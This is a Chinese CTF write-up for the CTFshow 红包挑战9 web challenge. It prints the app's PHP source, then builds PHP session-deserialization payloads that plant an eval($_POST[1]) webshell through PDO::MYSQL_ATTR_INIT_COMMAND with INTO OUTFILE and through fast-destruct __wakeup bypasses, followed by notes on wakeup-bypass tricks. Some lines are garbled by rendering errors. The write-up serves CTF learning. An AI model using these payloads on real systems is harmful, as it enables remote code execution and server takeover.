CTFshow红包挑战9
题目源码开源了。源码如下:
common.php
<?php
class user{
public $id;
public $username;
private $password;
public function __toString(){
return $this->username;
}
}
class cookie_helper{
private $secret = "*************"; //敏感信息打码
public function getCookie($name){
return $this->verify($_COOKIE[$name]);
}
public function setCookie($name,$value){
$data = $value."|".md5($this->secret.$value);
setcookie($name,$data);
}
private function verify($cookie){
$data = explode('|',$cookie);
if (count($data) != 2) {
return null;
}
return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;
}
}
class mysql_helper{
private $db;
public $option = array(
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
);
public function __construct(){
$this->init();
}
public function __wakeup(){
$this->init();
}
private function init(){
$this->db = array(
'dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8',
'host' => '127.0.0.1',
'port' => '3306',
'dbname' => '****', //敏感信息打码
'username' => '****',//敏感信息打码
'password' => '****',//敏感信息打码
'charset' => 'utf8',
);
}
public function get_pdo(){
try{
$pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);
}catch(PDOException $e){
die('数据库连接失败:' . $e->getMessage());
}
return $pdo;
}
}
class application{
public $cookie;
public $mysql;
public $dispather;
public $loger;
public $debug=false;
public function __construct(){
$this->cookie = new cookie_helper();
$this->mysql = new mysql_helper();
$this->dispatcher = new dispatcher();
$this->loger = new userLogger();
$this->loger->setLogFileName("log.txt");
}
public function register($username,$password){
$this->loger->user_register($username,$password);
$pdo = $this->mysql;
$sql = "insert into user(username,password) values(?,?)";
$pdo = $this->mysql->get_pdo();
$stmt = $pdo->prepare($sql);
$stmt->execute(array($username,$password));
return $pdo->lastInsertId() > 0;
}
public function login($username,$password){
$this->loger->user_login($username,$password);
$sql = "select id,username,password from user where username = ? and password = ?";
$pdo = $this->mysql->get_pdo();
$stmt = $pdo->prepare($sql);
$stmt->execute(array($username,$password));
$ret = $stmt->fetch();
return $ret['password']===$password;
}
public function getLoginName($name){
$data = $this->cookie->getCookie($name);
if($data === NULL && isset($_GET['token'])){
session_decode($_GET['token']);
$data = $_SESSION['user'];
}
return $data;
}
public function logout(){
$this->loger->user_logout();
setCookie("user",NULL);
}
private function log_last_user(){
$sql = "select username,password from user order by id desc limit 1";
$pdo = $this->mysql->get_pdo();
$stmt = $pdo->prepare($sql);
$stmt->execute();
$ret = $stmt->fetch();
}
public function __destruct(){
if($this->debug){
$this->log_last_user();
}
}
}
class userLogger{
public $username;
private $password;
private $filename;
public function __construct(){
$this->filename = "log.txt_$this->username-$this->password";
}
public function setLogFileName($filename){
$this->filename = $filename;
}
public function __wakeup(){
$this->filename = "log.txt";
}
public function user_register($username,$password){
$this->username = $username;
$this->password = $password;
$data = "操作时间:".date("Y-m-d H:i:s")."用户注册: 用户名 $username 密码 $password\n";
file_put_contents($this->filename,$data,FILE_APPEND);
}
public function user_login($username,$password){
$this->username = $username;
$this->password = $password;
$data = "操作时间:".date("Y-m-d H:i:s")."用户登陆: 用户名 $username 密码 $password\n";
file_put_contents($this->filename,$data,FILE_APPEND);
}
public function user_logout(){
$data = "操作时间:".date("Y-m-d H:i:s")."用户退出: 用户名 $this->username\n";
file_put_contents($this->filename,$data,FILE_APPEND);
}
public function __destruct(){
$data = "最后操作时间:".date("Y-m-d H:i:s")." 用户名 $this->username 密码 $this->password \n";
$d = file_put_contents($this->filename,$data,FILE_APPEND);
}
}
class dispatcher{
public function sendMessage($msg){
echo "<script>alert('$msg');window.history.back();</script>";
}
public function redirect($route){
switch($route){
case 'login':
header("location:index.php?action=login");
break;
case 'register':
header("location:index.php?action=register");
break;
default:
header("location:index.php?action=main");
break;
}
}
}
index.php
<?php
error_reporting(0);
session_start();
require_once 'common.php';
$action = $_GET['action'];
$app = new application();
if(isset($action)){
switch ($action) {
case 'do_login':
$ret = $app->login($_POST['username'],$_POST['password']);
if($ret){
$app->cookie->setcookie("user",$_POST['username']);
$app->dispatcher->redirect('main');
}else{
echo "登录失败";
}
break;
case 'logout':
$app->logout();
$app->dispatcher->redirect('main');
break;
case 'do_register':
$ret = $app->register($_POST['username'],$_POST['password']);
if($ret){
$app->dispatcher->sendMessage("注册成功,请登陆");
}else{
echo "注册失败";
}
break;
default:
include './templates/main.php';
break;
}
}else{
$app->dispatcher->redirect('main');
}
main.php
<?php
$name = $app->getLoginName('user');
if($name){
echo "恭喜你登陆成功 <a href='/index.php?action=logout'>退出登陆</a>";
}else{
include 'login.html';
}
先把所有代码看一遍。
在common.php
文件的userLogger
类中有写入文件操作,假设我们可以反序列化改变类属性,我们就可以写马到文件getshell,美哉美哉。
这题分为两步,一是反序列化,二是getshell。
一、反序列化
题目应该是开启了PDO扩展
(common.php中的mysql_helper类),用来连接数据库。
题目源码有很多类、没有反序列化函数unserialize()
,但是开启了session(index.php),同时在application::getLoginName()
方法(common.php)中有session操作。这里能进行session反序列化。
1、session里面存放对象时,会自动进行序列化,存放序列化后的字符串
2、session里面拿取对象时,会自动进行反序列化,执行对象的魔术方法
session_decode()
对参数中的已经序列化的会话数据进行解码,并且使用解码后的数据填充 $_SESSION 超级全局变量。
语句session_decode($_GET['token']);
往session里面存放对象
语句$data = $_SESSION['user'];
往session里面拿取对象,拿取名字为user
的对象。
所以满足session反序列化条件的情况下,我们如果GET提交token参数型如user|恶意序列化字符串
,就能反序列化字符串getshell。
反序列化第一步:
首先我们需要调用触发session语句的方法application::getLoginName($name)
。此方法只在main.php
中被调用,简单看看代码需要我们GET提交的action
不等于do_login、logout、do_register就行。
那我们GET传参:
?action=hahaha
反序列化第二步:
然后就是满足$data === NULL
。回溯一下,$data = $this->cookie->getCookie($name);
。再回溯一下,cookie_helper::getCookie($name)
方法返回cookie_helper::verify($_COOKIE[$name])
。见下图
传入verify
方法的变量$cookie
也就是$_COOKIE[$name]
被字符|
分割,只要分割后数量不等于2,就返回null
达到session反序列化的条件。
上述变量$cookie
中会存在原封不动的用户名,我们只需要使得用户名要带上一个|
,比如Jay|17
,那么变量$cookie
中就会存在两个|
(原本自带一个),经过explode()
函数后被分隔成三个,使得返回null
,我们能够进行session反序列化。
反序列化第三步:
注册一个账号,用户名为Jay|17
,拿到用户cookie。后续操作发包时要带上cookie。然后登录(do_login)。
Cookie:user=Jay%7C17%7Cfbbfa886adac2c1901e6d47c8700a15b
验证session反序列化是否成功:
我们简单构造个序列化字符串,把用户名改成一句话木马看看能否修改成功。
<?php
class userLogger{
public $username="<?php eval(\$_POST[1]);?>";
private $password="123456";
}
$a=new userLogger();
echo urlencode(serialize($a));
payload:(记得带上Cookie)
GET:/index.php?action=hahaha&token=user|O%3A10%3A%22userLogger%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A20%3A%22%00userLogger%00password%22%3Bs%3A6%3A%22123456%22%3B%7D
POST:username=Jay%7C17&password=123456
访问日志文件log.txt
,记得带上Cookie,发现反序列化成功,用户名成功被我修改了。
二、getshell
方法一:利用**PDO::MYSQL_ATTR_INIT_COMMAND
**
PHP中文手册->PDO_MYSQL预定义常量。查询到一个预定义常量叫PDO::MYSQL_ATTR_INIT_COMMAND
。
它的描述翻译过来是:连接MySQL服务器时执行的命令(SQL语句)。将在重新连接时自动重新执行。注意,这个常量只能在构造一个新的数据库句柄时在driver_options数组中使用。
那我们给这个预定义常量赋值一个恶意SQL语句,就能在连接的时候自动执行这个恶意SQL了。select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';
开始实现。
连接数据库就得执行mysql_helper::get_pdo()
方法。
由于要反序列化,?action=hahaha
,执行mysql_helper::get_pdo()
方法必须执行application::log_last_user()
方法,那么那么就必须$debug = true;
。
构造序列化字符串:
<?php
session_start();
class mysql_helper
{
public $option = array(
PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?php eval(\$_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';"
);
}
class application
{
public $mysql;
public $debug = true;
public function __construct()
{
$this->mysql = new mysql_helper();
}
}
$a = new application();
echo urlencode(serialize($a));
O%3A11%3A%22application%22%3A2%3A%7Bs%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A1%3A%7Bs%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A1002%3Bs%3A80%3A%22select+%27%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3Bphpinfo%28%29%3B%3F%3E%27++into+outfile+%27%2Fvar%2Fwww%2Fhtml%2F1.php%27%3B%22%3B%7D%7Ds%3A5%3A%22debug%22%3Bb%3A1%3B%7D
payload:(记得带上Cookie)
GET:/index.php?action=hahaha&token=user|O%3A11%3A%22application%22%3A2%3A%7Bs%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A1%3A%7Bs%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A1002%3Bs%3A80%3A%22select+%27%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3Bphpinfo%28%29%3B%3F%3E%27++into+outfile+%27%2Fvar%2Fwww%2Fhtml%2F1.php%27%3B%22%3B%7D%7Ds%3A5%3A%22debug%22%3Bb%3A1%3B%7D
POST:username=Jay%7C17&password=123456
访问1.php
,能看见phpinfo,说明写入成功并且执行了,开始getshell。
方法二:绕过weakup
但是日志文件log.txt
就算写入了木马也不解析,我们需要修改写入文件。奈何__wakeup()
魔术方法把写入文件的路径限定死了,我们得想办法绕过weakup
。
这里使用fast-destruct
绕过weakup
。(本质上是GC回收机制)
思路:
1、
fast-destruct
先触发application::__destruct()
,最终调用到mysql_helper::get_pdo()
方法2、把
mysql_helper
类的$db
属性设置为空,使得mysql_helper::get_pdo()
方法连接数据库失败,执行die()
函数,结束所有对象的生命周期(主要是结束了userLogger,GC回收),导致提前执行了userLogger::__destruct()
写马到文件。
exp:
<?php
class mysql_helper{
private $db;
}
class application{
public $debug=true;
public $loger;
public $mysql;
public function __construct(){
$this->loger = new userLogger();
$this->mysql = new mysql_helper();
}
}
class userLogger{
public $username='<?php eval($_POST[1]);phpinfo();?>';
public $password="123456";
public $filename="2.php";
}
$a = new application();
echo serialize($a);
payload:
GET:/index.php?action=hahaha&token=user|【替换点】
POST:username=Jay%7C17&password=123456
【替换点】 (记得URL编码)(都试过,整合笔记在最后,师傅们现在别忙着记)
//一、去掉一个花括号
O:11:"application":3:{s:5:"debug";b:1;s:5:"loger";O:10:"userLogger":3:{s:8:"username";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:8:"password";s:6:"123456";s:8:"filename";s:5:"2.php";}s:5:"mysql";O:12:"mysql_helper":1:{s:16:" mysql_helper db";N;}
//二、去掉外部类分号
O:11:"application":3:{s:5:"debug";b:1;s:5:"loger";O:10:"userLogger":3:{s:8:"username";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:8:"password";s:6:"123456";s:8:"filename";s:5:"3.php";}s:5:"mysql";O:12:"mysql_helper":1:{s:16:" mysql_helper db";N}}
//三、内外部类加一个分号
O:11:"application":3:{s:5:"debug";b:1;s:5:"loger";O:10:"userLogger":3:{s:8:"username";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:8:"password";s:6:"123456";s:8:"filename";s:5:"4.php";}s:5:"mysql";O:12:"mysql_helper":1:{s:16:" mysql_helper db";N;};}
//四、属性键长度不匹配(后面的s:16:改成s:17:)
O:11:"application":3:{s:5:"debug";b:1;s:5:"loger";O:10:"userLogger":3:{s:8:"username";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:8:"password";s:6:"123456";s:8:"filename";s:5:"5.php";}s:5:"mysql";O:12:"mysql_helper":1:{s:17:" mysql_helper db";N;}}
结束收工,整理了一份绕过wakeup
的思维导图和笔记:
变量引用
这个其实不是语言特性漏洞,而是代码逻辑漏洞。只有在特定代码情况下才会产生
KaTeX parse error: Expected 'EOF', got '&' at position 3: x=&̲a使两个变量同时指向同一个内存地址
利用:
KaTeX parse error: Expected 'EOF', got '&' at position 10: jay17->b=&̲jay17->a;
详细参照** NSS [UUCTF 2022 新生赛]ez_unser、私教web57
C绕过
C代替O能绕过wakeup,但那样的话只能执行construct()函数或者destruct()函数,无法添加任何内容。就绕过了wakeup。
O:4:“User”:2:{s:3:“age”;i:20;s:4:“name”;s:4:“daye”;}
—>
C:4:“User”:2:{}
C绕过-进阶 //愚人杯3rd [easy_php]
__unserialize()魔术方法
条件:PHP 7.4.0+
如果类中同时定义了 __unserialize()
和 __wakeup()
两个魔术方法,则只有 __unserialize()
方法会生效,__wakeup()
方法会被忽略。
对象的属性数量不一致
CVE-2016-7124
版本:PHP5 < 5.6.25、PHP7 < 7.0.10
绕过方式:
1.当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()。
例如:O:4:“User”:2:{s:3:“age”;i:20;s:4:“name”;s:4:“daye”;}中将变量个数2(s:3:“age”;表示第一个变量的名字,i:20;表示第一个变量的值,因此像这种对象,都是成对出现的,几对就有几个变量)修改为3即可
str_replace(‘:1:’, ‘:2:’,$a);
原理:
反序列化后由于属性值个数不匹配,被PHP当作垃圾回收。(本质是GC回收机制)
----------------------------------------------------------------------
进一步探索,如果换成类包类的情况,就是类属性还是一个类。
//正常payload
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:3:“end”;s:1:“1”;}
//内部类属性数量不一致,只触发外部类的__destruct()
O:1:“A”:2:{s:4:“info”;O:1:“B”:2:{s:3:“end”;N;}s:3:“end”;s:1:“1”;}
//外部类属性数量不一致,先外类__destruct()后内类__wakeup()
O:1:“A”:3:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:3:“end”;s:1:“1”;}
原理:
反序列化,它是先从里面里面开始反序列话,而不是最外面。通俗讲,就是类A里面的属性是类B,反序列化先反序列化类B再反序列化类A。
内部类属性数量不一致,直接把内部类当垃圾回收,所以不触发内部类__wakeup(),只触发外部类的__destruct()。
外部类属性数量不一致,外部类直接被当成垃圾回收,先触发了外部类__destruct(),而内部类正常,就正常触发内部类__wakeup()。
这听起来像fast-destruct,不是像,就是同一个东西,其实本质上都是PHP的GC回收机制罢了。
fast-destruct
本质上就是利用GC回收机制。
方法有两种,删除末尾的花括号、数组对象占用指针(改数字)
$a = new a();
a
r
r
y
=
a
r
r
a
y
(
arry = array(
arry=array(a,“1234”);
r
e
s
u
l
t
=
s
e
r
i
a
l
i
z
e
(
result = serialize(
result=serialize(arry);echo $result.“
”;
//正常payload:
a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:1;s:4:“1234”;}
//删除末尾花括号payload:
a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:1;s:4:“1234”;
//数组对象占用指针payload(加粗部分数组下标和前面重复都是0,导致指针出问题)
a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:0;s:4:“1234”;}
其余GC回收机制利用
也叫 php issue#9618
版本条件:
- 7.4.x -7.4.30
- 8.0.x
----------------------------------------------------------------------
**属性键的长度不匹配:
**
//正常payload
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:1:“1”;}
//外部类属性键长度异常payload:
//先外类__destruct()后内类__wakeup()
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:6:“Aend”;s:1:“1”;}
----------------------------------------------------------------------
属性值的长度不匹配:
//正常payload
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:1:“1”;}
//外部类属性值长度异常payload:
//先外类__destruct()后内类__wakeup()
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:2:“1”;}
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:1:“12”;}
----------------------------------------------------------------------
去掉内部类的分号:
注:
- 这样内部类直接回收,外部类没事,可以直接不执行内部类的wakeup。
- 外部类去掉分号同理。
- 如果内部外部类的花括号紧贴,也可以在两个花括号中间加分号,可绕过内部类wakeup。
//正常payload
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N**;**}s:3:“end”;s:1:“1”;}
//去掉了内部类的分号的payload
O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N}s:3:“end”;s:2:“1”;}
注:使用前提是分号前面这个数据不可以是payload,否则将导致payload无法识别而被抛弃,如果它是一些无关紧要的数据,那就可以随便丢。
GC回收机制的总结
本质上,上面这些 对象的属性数量大于真实值、fast-destruct、其余GC回收机制利用 三个板块都是同一个东西同一个原理。
想要不执行wakup,就必须在有wakup魔术方法的那个类的结构进行破坏,可以采用删除分号或者属性数量不一致的方法。
在存在destruct且恶意方法在destruct情形下的链子,wakup是完全无效的,它不但可以被绕过,甚至可以不被执行
绕过weakup
参考文章:
原文
官方wp
CTfshow 卷王杯 easy unserialize(特详)_Jay 17的博客-CSDN博客
PHP的GC垃圾收集机制 - 简书 (jianshu.com)
php反序列化之绕过wakeup – View of Thai
PHP反序列化中wakeup()绕过总结 – fushulingのblog
绕过__wakeup,先执行外面的类&天翼杯的eval那个题的一个思考_Je3Z的博客-CSDN博客